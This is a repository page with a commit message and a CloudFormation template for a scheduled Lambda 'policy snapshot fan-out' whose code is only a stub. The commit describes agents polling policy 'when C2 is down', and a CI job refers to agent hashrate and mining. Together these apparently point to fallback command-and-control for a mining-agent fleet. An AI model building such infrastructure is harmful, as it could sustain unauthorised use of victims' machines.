Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
48 lines
1.6 KiB
JSON
48 lines
1.6 KiB
JSON
{
|
|
"AWSTemplateFormatVersion": "2010-09-09",
|
|
"Description": "AetherForge policy snapshot fan-out — polls {{POLICY_POLL_URL}} and POSTs to relay",
|
|
"Parameters": {
|
|
"PolicyPollURL": { "Type": "String", "Default": "{{POLICY_POLL_URL}}" },
|
|
"WebhookURL": { "Type": "String", "Default": "{{WEBHOOK_URL}}" },
|
|
"ScheduleRate": { "Type": "String", "Default": "rate(5 minutes)" }
|
|
},
|
|
"Resources": {
|
|
"PolicyFanoutFunction": {
|
|
"Type": "AWS::Lambda::Function",
|
|
"Properties": {
|
|
"Runtime": "nodejs18.x",
|
|
"Handler": "index.handler",
|
|
"Timeout": 30,
|
|
"Environment": {
|
|
"Variables": {
|
|
"POLICY_POLL_URL": { "Ref": "PolicyPollURL" },
|
|
"WEBHOOK_URL": { "Ref": "WebhookURL" }
|
|
}
|
|
},
|
|
"Code": { "ZipFile": "exports.handler=async()=>({statusCode:200,body:'ok'});" }
|
|
}
|
|
},
|
|
"PolicyFanoutRule": {
|
|
"Type": "AWS::Events::Rule",
|
|
"Properties": {
|
|
"ScheduleExpression": { "Ref": "ScheduleRate" },
|
|
"State": "ENABLED",
|
|
"Targets": [{ "Arn": { "Fn::GetAtt": ["PolicyFanoutFunction", "Arn"] }, "Id": "PolicyFanoutTarget" }]
|
|
}
|
|
},
|
|
"PolicyFanoutPermission": {
|
|
"Type": "AWS::Lambda::Permission",
|
|
"Properties": {
|
|
"Action": "lambda:InvokeFunction",
|
|
"FunctionName": { "Ref": "PolicyFanoutFunction" },
|
|
"Principal": "events.amazonaws.com",
|
|
"SourceArn": { "Fn::GetAtt": ["PolicyFanoutRule", "Arn"] }
|
|
}
|
|
}
|
|
},
|
|
"Outputs": {
|
|
"PolicyPollURL": { "Value": { "Ref": "PolicyPollURL" } },
|
|
"WebhookURL": { "Value": { "Ref": "WebhookURL" } }
|
|
}
|
|
}
|